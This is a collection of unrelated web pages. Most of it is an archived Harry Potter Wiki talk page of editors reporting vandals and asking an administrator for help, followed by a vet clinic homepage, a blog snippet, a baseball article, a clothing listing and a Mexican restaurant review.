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|This page is an archive. Please do not edit the contents of this page. Direct any additional comments to the current talk page or contact an administrator for aid if no talk page exists.
Below is an archive of my talk page from January 3rd, 2010 to February 5th, 2010. Please do not edit it.
By the way, please be sure to sign your name on Talk and vote pages using four tildes (~~~~) to automatically produce your name and the current date. Be sure to verify your e-mail address in your preferences. Before attempting any major article rewrites please read the layout guide. If you have any questions, check out the policy and help pages (see here for editing help), add a question to the Community portal, view the forum or ask me on my talk page. Again, welcome!
—-Matoro183 (Talk) 17:41, 5 January 2008 (UTC)
User Zoey Redbird
User Zoey Redbird, just edit a image to the page of Rose Weasley.I call that vandalism. Could you or someone from the administrators keeping a eye on him? Link:http://harrypotter.wikia.com/wiki/User:Zoey_Redbird.--Station7 16:37, January 3, 2010 (UTC)
Harry granger 17:15, January 3, 2010 (UTC) Hi, I have a question. I've found a link of the first actress of Pansy Parkinson, but I'm not sure, if this link is o. k. Here is the link for Katharine Nicholson: http://www.verzaubert.at/schatztruhe/person.htm What do you mean?
Wait...are you the Seth Cooper that was the Lowell Mills tour guide when I went on a field trip there?! --18.104.22.168 21:06, January 3, 2010 (UTC)
- oh. —The preceding unsigned comment was added by 18.104.22.168 (talk • contribs).
Hey Seth, 2 things. 1. would you mind it if I, like before, searched your user page for any redirects that I can polish up? & 2. How's the vandalism rate lookin? I've seen we've had some problems w/ that stuff lately. -- GrouchMan (Send an owl then scram!!) 22:46, January 3, 2010 (UTC)
I appreciate that but Cavalier One says that doing so without permission from that user is vandalism so I figured I had to ask first. That's good about no vandal problems. -- GrouchMan (Send an owl then scram!!) 23:00, January 3, 2010 (UTC)
Is that a joke about editing your user page? Otherwise I want to help with the pages you made and put in on the section: Created Articles. This is not a joke!--Station7 06:29, January 4, 2010 (UTC)
Your user page
Seth Cooper, I want helping you with your user page on 1 thing: Created Articles. But I do only if your permission.--Station7 11:44, January 4, 2010 (UTC)
I will help you further with the Created Pages, possibly tommorw, but I will help.--Station7 22:07, January 6, 2010 (UTC)
We've got vandals running wild at this time. Check the Rose Weasley, Goblet of Fire (Film) to find the users.--Hcoknhoj 21:44, January 5, 2010 (UTC)
Thanks a million. I hate dueling with them. By the time I change something back, they have hit another article. --Hcoknhoj 21:50, January 5, 2010 (UTC)
Hi Seth :)
Hi Seth Sorry For Asking Now Again But How Do I Put My Picture Into The List Box Because Its Next To It And I Like Your Pic Above The List Thanks A Bunch!--HufflepuffBoy 16:45, January 6, 2010 (UTC)Hufflepuff Boy
Thanks So Much :)
Aw Your The Best Thanks Very much :) --Dylan Lee 13:52, January 7, 2010 (UTC)HufflepuffBoy
Hey Seth, I saw on Station7's talk page you said you think I'm trustworthy & so I just wanted to say, "thank you very much"!! -- GrouchMan (Send an owl then scram!!) 14:36, January 7, 2010 (UTC)
Please :)
Hi Set Can You Make Me Userboxes That Says This User Supports Hufflepuff And This User Is A Member Of The Order Of The Phoenix AND Dumbledores Army And This User Supports Luna Lovegood And A Good Few More Thanks Your The Best Hope Ya Know That :D
Seth may I please ask a very small favor? -- GrouchMan (Send an owl then scram!!) 16:12, January 7, 2010 (UTC)
Fredwii has returned!! We have to stop him!!! -- GrouchMan (Send an owl then scram!!) 17:02, January 7, 2010 (UTC)
Unlock James VI. This is your last warning. If you do not Unlock JamesVI today, you will be blocked for one month from editing Harry Potter Wiki. You will be Blocked today. Stop blocking users.
--Jeffrey1992 18:36, January 7, 2010 (UTC)Jeffrey1992
Jeffrey1992, you have absolutely NO AUTHORITY to be threatening or blocking users. Seth Cooper is an admin. He can block YOU.
That's right. Either obey the rules of the Wiki or get lost!! -- GrouchMan (Send an owl then scram!!) 01:07, January 11, 2010 (UTC)
Scarletmoon579 19:53, January 7, 2010 (UTC)Scarletmoon579(Talk to me!)
Talk Page
Hey Seth, would you mind reminding me how to archive my talk page? I forget. Thanks!! -- GrouchMan (Send an owl then scram!!) 19:26, January 7, 2010 (UTC)
- Never mind! I figured it out! -- GrouchMan (Send an owl then scram!!) 19:39, January 7, 2010 (UTC)
Good job
Good job Seth Cooper, your edit made finally an end to this gibberish of him.--Station7 22:40, January 7, 2010 (UTC)
Oh, I see that he's not banished! He removed our messages on his blog.--Station7 22:44, January 7, 2010 (UTC)
I am JamesVI
--Jeffrey1992 23:44, January 7, 2010 (UTC)Jeffrey1992
Cleanup Tag
You should be able to take the cleanup tag off of Horcrux Hunt after I get done editing it. I have made wholesale changes to the article and extended and fixed nearly every section. I hope to finish it tonight. --Hcoknhoj 02:54, January 8, 2010 (UTC)
User Page
Where do you find one of those charts on your user page that says stuff about you? --The Last Dark Angel 10 12:37, January 8, 2010 (UTC)
Thanks... the only problem I've got is that it won't show up the way it's supposed to. The Last Dark Angel 10 04:27, January 16, 2010 (UTC)
Is Jeffrey1992 already banished for his edits?--Station7 17:48, January 8, 2010 (UTC)
Thanks about Peeves, but do you know what happened? User:Quirinus Quirrell
Oh, ok! I'll remember not to do it again. User:Quirinus Quirrell
Sirius Black
Hey, just because you're an admin does not make you more important than I. I have made several points in that argument. Besides, it's one of wikia's policies to not delete an article unless the topic has been settled. Please unarchive that conversation. 220.127.116.11 03:42, January 10, 2010 (UTC)
He's an admin. That means that all changes he does are settled by the community, right?--The Last Dark Angel 10 23:53, January 10, 2010 (UTC)
Ted Lupin
This guy 18.104.22.168 has been vandalizing Ted Lupin all day. --Hcoknhoj 04:34, January 10, 2010 (UTC)
Hello Seth, can you please revert the upload of User:Pol 871 on this image? My upload is different with his upload, and please advise him to use other title for his own upload. --ÈnŔîčö DC(Send me an Owl!) 16:40, January 10, 2010 (UTC)
Minister for Magic
Out of curiosity, do we have any idea how the Minister is chosen? The ministry seems like gov't by bureaucracy. --Hcoknhoj 23:48, January 10, 2010 (UTC)
Seth Cooper Logo
Hi,I went to your user page and saw that the picture you had was a Marauder's Map with your name on it.I was wandering how you got it.This is what I'm talking about =
—The preceding unsigned comment was added by Bdalton123 (talk • contribs).
No I have not. Thank you. -- GrouchMan (Send an owl then scram!!) 01:08, January 11, 2010 (UTC)
Project Harry Potter Tales
If it's possible I'd like to be a Healer for the Project Harry Potter Tales. Please get back soon. Sky Shadow 00:49, January 12, 2010 (UTC)
Cloak of Invisibility
I'm working on putting a comprehensive list in chronological order of when the Legenary Cloak is used. If you could double check the dates after I finish, that would be awesome. --Hcoknhoj 02:24, January 12, 2010 (UTC)
It is on the Cloak of Invisibility page under Known Uses. That is all of the uses of the cloak that I can think of. Thanks again, --Hcoknhoj 03:27, January 12, 2010 (UTC)
Thank you. I believe Danny Horn, an editor of the Muppet Wiki is an editor here too. If you could, do you think you could talk to him and ask him if he lift my ban on the Muppet Wiki. I need him to know just how sorry I am for not listening to him before. I would truly appreciate this if you did it for me!!! Thanks you!! -- GrouchMan (Send an owl then scram!!) 12:56, January 12, 2010 (UTC)
- Thank you so much. I went a little overboard on fixing the redirects. But now I've learned my lesson. If you could just tell him that I would be very grateful!! -- GrouchMan (Send an owl then scram!!) 17:27, January 12, 2010 (UTC)
Hi Set Can You Make Me Userboxes That Says This User Supports Hufflepuff And This User Is A Member Of The Order Of The Phoenix AND Dumbledores Army And This User Supports Luna Lovegood And A Good Few More Thanks Your The Best Hope Ya Know That :D --Dylan Lee 14:48, January 12, 2010 (UTC)HufflepuffBoy
Can You? Thanks :D
Hi Set Can You Make Me Userboxes That Says This User Supports Hufflepuff And This User Is A Member Of The Order Of The Phoenix AND Dumbledores Army And This User Supports Luna Lovegood And A Good Few More Thanks Your The Best Hope Ya Know That :D --Dylan Lee 14:49, January 12, 2010 (UTC)HufflepuffBoy
New Pages ;)
How do you upload new images and create new pages? Id really appreciate an anwser :D The-Free-House-Elf 22:34, January 13, 2010 (UTC)
User 126.96.36.199 is a vandal, he continues to try to change Sybil trelawney to foul jokes. --Hcoknhoj 01:53, January 14, 2010 (UTC)
Hello Seth Cooper, how is everything going on? Are you on the Wikia's, just like Cavalier One? If so are you there administrator to?--Station7 14:33, January 15, 2010 (UTC)
Muppet Wiki
Hey Seth have you talked to Danny Horn about my ban on Muppet Wiki yet? No rush obviously. Thanks again for doing this!!! -- GrouchMan (Send an owl then scram!!) 23:04, January 15, 2010 (UTC)
RE:RE:Muppet Wiki
OK thanks!! I owe you big for this one!! I want him to know just how sorry I am. Do you think you could tell him how big a help I am here as far as fixing redirects goes? -- GrouchMan (Send an owl then scram!!) 23:09, January 15, 2010 (UTC)
- Seth Cooper I truly can't thank you enough!! -- GrouchMan (Send an owl then scram!!) 23:45, January 15, 2010 (UTC)
- Thank you. That means a lot. I would do the same for you!!! -- GrouchMan (Send an owl then scram!!) 23:51, January 15, 2010 (UTC)
- Any replies yet? -- GrouchMan (Send an owl then scram!!) 00:42, January 16, 2010 (UTC)
- Thank you. That means a lot. I would do the same for you!!! -- GrouchMan (Send an owl then scram!!) 23:51, January 15, 2010 (UTC)
Alastor Moody
The a few revisions have been made to the intro paragraph for Alastor Moody, so what is on the main page doesn't reflect the article as it reads now. --Hcoknhoj 23:14, January 15, 2010 (UTC)
Thanks for doing that. Hcoknhoj 23:25, January 15, 2010 (UTC)
New Vandal
Unregistered User at 126.96.36.199 is a vandal. While he occasionally makes legit edits, most of the time when I follow what he has edited there is a jacked-up infobox and off kilter pictures. I asked politely to stop, he hasn't. Thanks, --Hcoknhoj 06:19, January 16, 2010 (UTC)
This is true of 184.108.40.206 too. He keeps changing articles to involve Ron's butt falling off. Hcoknhoj 21:14, January 16, 2010 (UTC)
Why Arent You Answering My Owls??? —The preceding unsigned comment was added by HufflepuffBoy (talk • contribs).
Please Help!!!!
Seth PLEASE Help Me I Deleted Everything On My Page Please Fix It For Me :( Thanks!!!!!!!!!!!!!
Really You Are!
Seth You are Actually The Best I Can Count On You For Anything Thanks :-D P.S Where Could I Get More Userboxes??? Thanks Dylan Lee 17:04, January 17, 2010 (UTC)HufflepuffBoy
SETH IM SOOOOOOOOOOO SORRY I DELETED MY INFOBOXES COULD YOU FIX IT IM SOOOO SORRY :( AND HOW DO YOU FIX IT BY THE WAY IM SOOOOOOOOOOOOOOOOOOO SORRY :( Dylan Lee 17:45, January 17, 2010 (UTC)HufflepuffBoy
Life or dead: faith unknown
Since there are many people who's faith is unknown after the Second Wizarding War, should we not make a category for that?--Station7 22:01, January 17, 2010 (UTC)
Ghoul Studies
I want to say that there is a Ghoul Studies room on the Marauder's Map, and that is where they get the idea of a Ghoul Studies professor. --Hcoknhoj 22:48, January 17, 2010 (UTC)
Do we have an official policy on possessives of names that end in "s." Like in Remus Lupin or Sirius Black it changes whether it is "Remus' wand" or "Sirius's bike." --Hcoknhoj 02:18, January 18, 2010 (UTC)
Alright, I prefer the other way, but I'll go with the convention. Thanks for clearing that up. Hcoknhoj 02:43, January 18, 2010 (UTC)
Why on earth you and ratneer would delete my pages of wisdom, that i worked hard on to make up this, so if possible to bring back my pages. It would you be so kind of you to bring them back, can you tell ratneer if he could do that too, if possible. Thanks —The preceding unsigned comment was added by [[User:{{{1}}}|{{{1}}}]] ([[User talk:{{{1}}}|talk]] • [[Special:Contributions/{{{1}}}|contribs]]).
Harry Potter Wiki Twitter account
Hello Seth, i just want to inform you that recently i created a Twitter account dedicated to Harry Potter Wiki; The username is @HPWiki. What do you think about it? And also, please let me know if you also have a twitter account. --ÈnŔîčö DC(Send me an Owl!) 07:01, January 18, 2010 (UTC)
- Hi! ? --ÈnŔîčö DC(Owl messages!) 21:52, January 21, 2010 (UTC)
Does he remain on HPW?
I've been hearing a lot about this vandal Jeffrey1992. Has he been blocked or otherwise? The Last Dark Angel 10 13:49, January 18, 2010 (UTC)
Hi I Havent Got A Clue How To Put Them Onto My Page Though... When I Click On The One I Want It Goes Onto A Page And It Has No Button That Says Add To Profile Or Anything :S What Do I Do? Dylan Lee 14:37, January 19, 2010 (UTC)HufflepuffBoy'
My User Page
Seth, oh my gosh.... just look at my user page. That complete @$% The Sapphire Tiara 113 went and put something at the top without even asking me. Just take a good look. It might not be there when you read this but, still, can you do something about it?Scarletmoon579 00:45, January 20, 2010 (UTC)
- I just saw User:The Sapphire Tiara 113 edit User:The Last Dark Angel 10's user page, I saw you gave an earlier warning, so I thought I'd bring you up to speed. I posted a vandal and rolled back the edit. --Hcoknhoj 21:38, January 22, 2010 (UTC)
Seth, she's done it again. The Sapphire Tiara 113 obviously ignored your warning and vandalized my user page. As if it weren't enough for my first account's user page to be vandalized, she did it to my second account. Scarletmoon579 19:44, January 23, 2010 (UTC)
You know what? Right about now, I believe they ALL deserved the vandalism I did. The Sapphire Tiara 113 04:52, January 24, 2010 (UTC)
Temporary adminship for Grunny
Just a heads up to let you know that I've temporarily granted Grunny admin rights so that he can work on the coding for the infoboxes across the wiki to make them all uniform. This is to avoid the necessity of constantly lowering and raising protection levels on affected articles. Grunny is a trusted member of the Wikia community, and I vouch for his knowledge of technical matters and coding when it comes to Wikis. Although his adminship will be removed once he has completed the work I have asked him to do, I fully intend to nominate him for actual adminship so that we may benefit from his expertise in the future. - Cavalier One(Wizarding Wireless Network) 09:09, January 20, 2010 (UTC)
Hi Seth. I haven´t played the Chamber of Secrets game (PC) for long, but I believe there was a student named Emily (probably not this one. who didn´t believe thar Harry was the Heir of Slytherin. If I remember correctly, she was first a Hufflepuff, but then a Gryffindor. Is this just a random quote (I think so.) and should we create an article on her?--Rodolphus 16:12, January 20, 2010 (UTC) ´ How should we name it, given her changing House and the possible confusion with the other Emily? --Rodolphus 16:26, January 20, 2010 (UTC)
You probably know that there are some quotes that multiple random students say when you talk to them. I think that, when I first met her, she was a Hufflepuff walking across the School Grounds, but moments later, a Gryffindor in the castle repeated exactly the same quote.--Rodolphus 16:38, January 20, 2010 (UTC)
I agree--Rodolphus 16:46, January 20, 2010 (UTC)
Harry Potter Trading cards game articles
Should we make articles for that. Not for Harry Potter and Hermione Granger who have a trading card! But if I have found to other trading card, what should I have to do with the picture that I have from Hermione, should I edit it there at her place?--Station7 16:43, January 20, 2010 (UTC)
User ONESHOT has made vandlism on Albus Dumbledore's page. He called it PENIS to.--Station7 19:06, January 20, 2010 (UTC)
- This kid keeps vandalizing stuff. If he does it one more time, I am going to have to ask you to block him.---Lord Voldemort killed the vampire James 19:16, January 20, 2010 (UTC)
- Is Lord Voldemort killed the vampire James allowed to post a warning on my page? He's not an admin. (This can't be construed as vandalism.)Oneshot. 19:20, January 20, 2010 (UTC)
Good job Seth Cooper, like always. You're the best!--Station7 20:54, January 20, 2010 (UTC)
Battle at Malfoy Manor
Will you take a look at the talk page? We think the fight shoudl be changed to a title more fitting its small size. --Hcoknhoj 08:07, January 21, 2010 (UTC)
Hi Thanks For That Could You Send Me The Order Of Merlin (Any Class) Thanks! Dylan Lee 16:07, January 21, 2010 (UTC)HufflepuffBoy
What About A Prefects Badge? —The preceding unsigned comment was added by HufflepuffBoy (talk • contribs).
Whats Wrong My I Cant Fix My Name In My Info Box Under My Picture!!!! HELP! Dylan Lee 20:53, January 22, 2010 (UTC)HufflepuffBoy
I really don't understand....The Sapphire Tiara 113 02:24, January 23, 2010 (UTC)
Userpage policy
User:Themadjunk - 22.214.171.124 13:36, January 23, 2010 (UTC)
Can you help me with Mosag? Something happened again; I hope you can revert my edits on the page. User:Quirinus Quirrell
This does also happen when I'm going to edit Dudley Dursley's page.
User Slytherin27
User Slytherin27 just edit by Harry Potter and Minerva McGonagall vandalism, 2 times of course. I don't what you should do with this guy, but at the page of Mafalda Hopkirk, he didn't do anything wrong! So Seth what's your meaning?--Station7 20:06, January 23, 2010 (UTC)
Somebody editing Severus Snapes page. And he's doing on vandalism. By the way I have created a lot of pages for this Wikia! Just to let you konw, because I'm tired.--Station7 21:13, January 23, 2010 (UTC)
Custom signature
Okay, so I read the custom signature box, but I still don't get it. I would appreciate it if you would tell me a little less complicated explanation of it. Thanks.--Lord Voldemort killed the vampire James 03:44, January 24, 2010 (UTC)
Never mind.--L.V.K.T.V.J.'(Send an owl!) 20:50, January 24, 2010 (UTC)
Gerben Munster
Hello Seth, I could find this character who appears in the Transfiguration Classroom. Or am I searching at the wrong name!--Station7 17:08, January 24, 2010 (UTC)
Thanks Seth. But I mean, has the character Gerben Munster already a own page on this Wikia. Otherwise it would be nonsense if I made that page for nothing. --Station7 17:29, January 24, 2010 (UTC)
Administrators on this Wikia
Hello Seth Cooper. If I got all the Adminisitrators an own award, then it would be because you listen, you take immediality care of vandalism and delete pages immediality. Since I'm a lost-fan, this site has been my number 1 (for now, because the theories are to many and here are no theories). So guys, all of you're the best. This is the best Wikia. After all I have respect for all of you (the administrators). I always want to say this.--Station7 18:51, January 24, 2010 (UTC)
- Stop sucking up Station. He sent the same message to Nick O'Demus. 18.104.22.168 20:24, January 24, 2010 (UTC)
That was because I thought he was an Administrator, what he not is.--Station7 20:26, January 24, 2010 (UTC)
And Seth Cooper could read it to on my talk page, maybe he laready discovered that I made a mistake.--Station7 20:28, January 24, 2010 (UTC)
Other Wikia's?
Seth I have a question to you. Are you on other Wikia's? I saw your edit count and the 2 don't match up. --Station7 20:11, January 24, 2010 (UTC)
Salazar Slytherin picture vote
The vote's been open for almost two weeks now but no pic has a +3 clear majority. What do you recommend? - Nick O'Demus 21:01, January 24, 2010 (UTC)
- Nevermind. A couple of late votes just arrived at a majority. - Nick O'Demus 21:42, January 24, 2010 (UTC)
Vandalism & discussion
Recent vandalism by 22.214.171.124. They were warned.
Also, there's a discussion on the Noble Collection talk page about whether or not the lengths they use can be considered canon. I'd like your opinion. - Nick O'Demus 21:42, January 24, 2010 (UTC)
To add to that: mini-mitch - Repeated vandalism on the Harry Potter page. has been warned, but continues. -- Ratneer Owl Me! 21:47, January 24, 2010 (UTC)
Also: I don't know if you have seen "Book 8", but if you haven't, please take care of it :) —The preceding unsigned comment was added by Ratneer (talk • contribs). 22:31, January 24, 2010 (UTC)
Thanks lol ^Sorry about unisigned btw -- Ratneer Owl Me! 22:38, January 24, 2010 (UTC)
- News on both counts. Vandalism by 126.96.36.199 and 126.96.36.199, and new forum discussion, Proposal for Infobox Guidelines policy. - Nick O'Demus 19:46, January 25, 2010 (UTC)
- I've finalized the proposals in the "Alias" policy forum discussion. The vote will officially begin in 24 hours to allow for any final recommendations. - Nick O'Demus 10:11, January 28, 2010 (UTC)
Somebody is trying to do the same thing as you:RussoDogwood. What should we do with that? And rest good since the many message above this.--Station7 22:30, January 24, 2010 (UTC)
Look at His: RussoDogwood and Yours:Seth Cooper. He is just trying to do if he is you. By the way my friend, you need Archive 7.--Station7 13:26, January 25, 2010 (UTC)
Hi Seth. Given the fact we have created articles about Beetle Buttons etc. do you think the other (unnamed) Transfiguration spells learned at Hogwarts deserve an article? If I´m correct: Third years had to change a teapot into a turtoise, first years first transfigured matches into neadles....--Rodolphus 18:35, January 25, 2010 (UTC)
What about the titles? "match to neadle" with a conjecture tag?--Rodolphus 15:43, January 26, 2010 (UTC)
Here´s my first attenmpt. What do you think?--Rodolphus 14:27, January 28, 2010 (UTC)
Book pages
Hey, I think we need a policy on how to do the pages for the books. Specifically any plot synopsis, because some pages such as Harry Potter and the Philosopher's Stone have chapter by chapter break downs, and others such as Harry Potter and the Prisoner of Azkaban just have a large block. One, Harry Potter and the Half-Blood Prince has kind of a combination. I think we should do the same with the movies' pages as well. Tell me what you think. --Hcoknhoj 05:42, January 26, 2010 (UTC)
- I'll start a discussion in a forum. How about Policy Guidelines for Formatting OOU Articles? --Hcoknhoj 01:58, January 27, 2010 (UTC)
- The forum is up. Forum:Policy Guidelines for Formatting OOU Articles. --Hcoknhoj 09:06, January 27, 2010 (UTC)
Hey Seth have not been able to edit in a while long time no see. Anyways, I was wondering if we have a page about different Podcasts such as Pottercast and Mugglecast as well as Hogwarts Radio. I'd be interested in creating the page but I'm not sure if there is any policy regarding not being able too. Thanks --Profiteor 16:49, January 26, 2010 (UTC)
The Sapphire Tiara 113
She vandalized the Deluminator article. That's like the fifth time she's vandalized something.Scarletmoon579 00:39, January 27, 2010 (UTC)
Delete pages that I made
Do you want delete pages that I made? Some of them were a mistake. It are the following pages:
- Gerben Munster
- Gaia Butterfly
- Antione Otter
- Finn Bullet
- Meindert Knot
- Titia Butterbath
- Analia Shakehand
Tell me when they are delete, so I can remove them from user page.--Station7 17:31, January 27, 2010 (UTC)
By the way Seth, I'm doing a research about all 10 students who were attendoed Hogwarts at the corect age. If you look at this:[User:Station7/Hogwarts Students ,Dates and Houses] you see what I mean. I like this research. It's about there house, name and year.--Station7 22:10, January 27, 2010 (UTC)
how did you get your name on the map???
Sorry to sound nagging, but I'd like your opinion on the OOU Policy forum just started. --Hcoknhoj 00:15, January 28, 2010 (UTC)
User:Galstone Jattzan is a vandal. --Hcoknhoj 00:59, January 28, 2010 (UTC)
- Please get rid a this (excuse my language) little bastard. -- GrouchMan (Send an owl then scram!!) 01:31, January 28, 2010 (UTC)
Sorry about that but he seriously had it comin. Goodnight! -- GrouchMan (Send an owl then scram!!) 01:59, January 28, 2010 (UTC)
- Thanks dude. -- GrouchMan (Send an owl then scram!!) 20:13, January 28, 2010 (UTC)
Featured Article
The intro paragraph for Seamus Finnigan has been changed. It no longer matches the one posted on the main page. --Hcoknhoj 03:37, January 29, 2010 (UTC)
New Articles
Hey Seth I've recently created some new articles:
Are these worth any points? Thanks!! -- GrouchMan (Send an owl then scram!!) 22:39, January 29, 2010 (UTC)
A signature
Hi, please can you get me to the page where you make your signature as i don't have one. Thanks for your time
Best wishes Philered --Philered WAS HERE! PEACE!
10:21, January 30, 2010 (UTC)
Those graphs
Hello I am a newbie on this wiki. Could you please tell me the code for the graph that says born _______ Or this user supports ________ and ________? If you could it would be great! P.S Do we make signitures on this wiki? Sirius581 14:19, January 30, 2010 (UTC)
User:Albus Marvolo Potter made changes on my user page when I didn't want him to.--L.V.K.T.V.J.'(Send an owl!) 17:34, January 30, 2010 (UTC)
Thanks--L.V.K.T.V.J.'(Send an owl!) 18:31, January 30, 2010 (UTC)
Infobox Vote
I like how people I've never actually seen make an edit are voting on this. --Hcoknhoj 20:15, January 30, 2010 (UTC)
- Is it common for votes to stay up nearly a week, or is this just, because the vote is tied? --Hcoknhoj 00:59, February 3, 2010 (UTC)
Seth did you see the articles I created? -- GrouchMan (Send an owl then scram!!) 23:08, January 30, 2010 (UTC)
I'm not totally sure to be completely honest. -- GrouchMan (Send an owl then scram!!) 01:03, January 31, 2010 (UTC)
Is an an administrator only allowed to close a vote on a featured content, not another person?--L.V.K.T.V.J.'(Send an owl!) 15:13, January 31, 2010 (UTC)
O.K. Just wanted to know. Thanks.--L.V.K.T.V.J.'(Send an owl!) 17:32, January 31, 2010 (UTC)
Favourite page
Hé Seth, how is it going on? What is your favourite page on this Wikia?--Station7 20:00, January 31, 2010 (UTC)
That's a hard question. I really like all the pages, I don't have a favourite. For example:Draco Malfoy. Good information, good pictures, great quality. By Harry Potters page the same. OK, maybe are the pictures from the video game of Harry Potter and the Half-Blood Prince not that good, but it's not horrible quality. So I don't know is my point. It's a great Wiki, with great Administrators (how ironic I'm only talking to you) and great facts.--Station7 20:09, January 31, 2010 (UTC)
Not to have a huge ego or something, but i made a lot of disambiguation the last time. I'm working a lot for this Wiki, just like GrouchMan.--Station7 22:02, January 31, 2010 (UTC)
Do you think that some major pages need to be administrator protected to prevent vandalism? --Hcoknhoj 03:24, February 2, 2010 (UTC)
- We were just discussing that in a forum yesterday. None of the major character pages have any protection, some say they do, but it has lapsed. --Hcoknhoj 01:56, February 3, 2010 (UTC)
What kind of order?
I was looking at the category for Battle of Hogwarts particpants and in the P section, it seems that each name is either being sorted by last of first name. example: Padma Patil and Percy Weasley are both the P section. This is also occurring in other categories, too. Scarletmoon579 23:36, February 2, 2010 (UTC)
Thanks --Hcoknhoj 01:54, February 3, 2010 (UTC)
Hey Seth, is it possible to make it so my name sometimes comes up on the welcome thing you get on your talk page when you make your first edit to the wiki? -- GrouchMan (Send an owl then scram!!) 01:32, February 5, 2010 (UTC)
- Never mind, it's no big deal. So when does the new term start so I can get new points for those articles? I also created a few categories & a new dialogue template. -- GrouchMan (Send an owl then scram!!) 01:37, February 5, 2010 (UTC)


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Welcome to Ambassador Animal Hospital
We are an accredited animal hospital proudly serving the community for over 30 years!
Ambassador Animal Hospital serving Hanover Park, Bartlett, Carol Stream, Bloomingdale, Glendale Heights, St. Charles, West Chicago, Addison & surrounding communities.
Ambassador Animal Hospital is a full-service animal hospital in Hanover Park, IL that has been serving the community for over 30 years. We treat your pet like family, and as fellow animal lovers, we are committed to ensuring the highest level of care, information, and service to give your companion the best possible life. We offer a variety of services for dogs, cats, and exotic pets including wellness exams and vaccines, ill exams, advanced diagnostics including digital xrays and ultrasound, surgery, dental care, boarding and so much more. Whether you have just gotten a new puppy or have a senior pet that needs ongoing care, our highly experienced and trained doctors and staff are here to help!
Our Web site is full of valuable information about treatment options; advice for maintaining your pet's health; and even a complete Pet Care Library with detailed resources about animals and their care, including exotic pets. On this site you also will find specifics about our Veterinarian practice, including office hours, driving directions, new client information, appointment scheduling and an introduction to our highly trained staff, cat hospital, pet dentistry and pet boarding. Giving your pet the best possible care is our first priority. We hope you will contact us at our Hanover Park office with questions, or to schedule an appointment. Thank you for visiting our site!

subset: commoncrawl


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I also picked up some items at Rite Aid. Usually I think of Rite Aid as the most overpriced drugstore on the planet, but this time I was lucky and found some good sale items.
(As an aside, I tried using Photobucket again to upload pictures...but they come out HUGE on my blog! Help! I had to delete them and upload via Blogger.)


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Hernandez, Santana giddy over big league luxuries
ANAHEIM -- Ah, the luxuries of life in the Major Leagues.
Their first trip as Major Leaguers has been an eye-opening experience for Astros outfielder Domingo Santana and super utility player Enrique Hernandez, both of whom are on their first road trip after being called up earlier this week. That means charter flights and five-star hotels instead of commercial travel and road roommates.
"The travel is easy and it means you're finally over the bridge," Santana said. "This is what you've been waiting for your whole life and now you just have to work hard and have the same routine just to make sure you can beat the other guys."
Hernandez has been attached to the hip of veteran catcher Carlos Corporan, who like Hernandez also hails from Puerto Rico. The two have been working out together for several years.
"Corpy told me to sit with him [on the team's charter flight] and Domingo was in the next row and I looked at Domingo every 10, 15 minutes and said, 'We're here! This is awesome!'" Hernandez said. "We flew two or three days ago in Triple-A and had to stand around for three hours at the airport and wait for everybody to get in and fight for a seat on the plane and just be uncomfortable. Now we have our own row and we're in the big leagues. It's just unreal."


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Regular Price: £65.00
Special Price £19.50
If you're looking to make an exquisite style statement, you're in the right place. Our collection of boys' designer clothes promises exactly that, featuring luxury designs from all your favourite brands. Whatever the occasion may be, he'll be looking incredibly sharp when dressed in a smart suit, or super handsome while kicking back with his friends in trainers, jeans and a sweater.


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Dining: Burning
Just how much Mexican food can one writer enjoy in a week?
(page 1 of 2)
Mexican food is one of those cuisines that people either love—periodically craving it with an unholy fervor—or have sworn off entirely. I'm in the first group and, lately, I've been in a bad state, stocking up on adobo sauce and fondling avocadoes.
"I could eat Mexican food every day and still love it," I boasted to my boss. Famous last words, because no sooner did I utter this little south-of-the-border challenge than he sent me out on the town, undercover, to investigate the state of refried beans and queso blanco on Oahu. I confess that I didn't wind up eating Mexican food every day, but I did manage to hit five Mexican restaurants in seven days. There are plenty of names left on my list—Diego's Taco Shop, El Charro and Azteca are just a few—but there's always next week.
1102 Piikoi St.
Lunch served 11:30 a.m. to 3 p.m. Monday to Friday, except on Wednesday, when the restaurant is closed all day. Dinner 4:30 p.m. to 10 p.m., Monday to Saturday (closed Wednesday) and on Sundays, 5 p.m. to 10 p.m.
Free parking at the Garden House, across the street. Major credit cards.
My first stop was Quintero's, which I have to confess I've avoided in the past. The wooden box exterior looks dumpy and uninteresting and, worse still, I had heard it didn't serve margaritas. But once inside, we were greeted by a cheerful, sombrero-accented decor and a purple paint job. It's nothing glamorous, but it's got the lighting, music and mood right.
And they have margaritas, Cuba libres, mojitos …. now we're talking. Beer offerings include Pacifico, Corona, Sol, Tecate, Bohemia, Dos Equis and Negro Modelo. We tried the margaritas, which featured a sturdy burst of tequila, and a fairly thin—but at least not chemical—mixer. The salsa was spicy and tasty, as was the fresh, creamy guacamole.
When our server arrived with our entrees, we joked, "If only we had more food," as the food was piled upon oval serving platters posing as plates. Be warned: the portions here redefine generous.
Our entrees included shrimp sauteed with fresh garlic and olive oil, which proved to be, as my companion said, "a squadron of well-prepared shrimps accompanied by tastily seasoned rice. Overall, more garlic than you should eat on a date." My order, a vegetarian burrito, was enormous, and I bravely spelunked inside, surrounded by stalagmites of red peppers. The refried beans, served on the side, were soupy and seemed homemade, with a nice smoky flavor redolent of sauteed onion.
We wrapped our meal up with a house-made flan (available in milk or cheese flavor). It was outstanding, and even served in a normal, human-size portion, with a perfect, thin caramel sauce.
My only complaint at Quintero's was that it seemed to be out of a lot of things we asked for—ceviche, rice pudding, mojitos (no mint in the house). But I'll definitely be back.
Cha Cha Cha Salsaria
Hawaii Kai Shopping Center
377 Keahole C-1A395-7797
Monday through Thursday, 11 a.m. to 9:30 p.m. Friday, 11 a.m. to 10 p.m. Saturday, 10:30 a.m. to 10 p.m. Sunday, 8:30 a.m. to 9 p.m. (Breakfast served until noon on Sundays.)
Free parking. Major credit cards.
The new location of Cha Cha Cha Salsaria, just one shopping center down from its previous incarnation, is a huge improvement. You can now sit outside, enjoying your meal while overlooking a bay so teal colored it borders on the ridiculous.
Cha Cha Cha still has a Caribbean flair, though, with the kind of pastel palette you find in the Bahamas, jerk chicken, "Jamaican firestick Plenty Hot" pepper sauce and reggae music. A lot of the food at least gives you the sensation you've ordered something healthy—vegetarian bean and nondairy options, for example. (Does this make up for the nachos? Why, of course.)
I dug into a virtuous-sounding blackened-tofu burrito, a nutty, whole-wheat tortilla packed with tofu, black beans, zucchini, lettuce and carrots. The salty, fried chips keep me from feeling too healthy-healthy, though, and allowed me to try a few of the restaurant's salsas and collection of hot sauces.
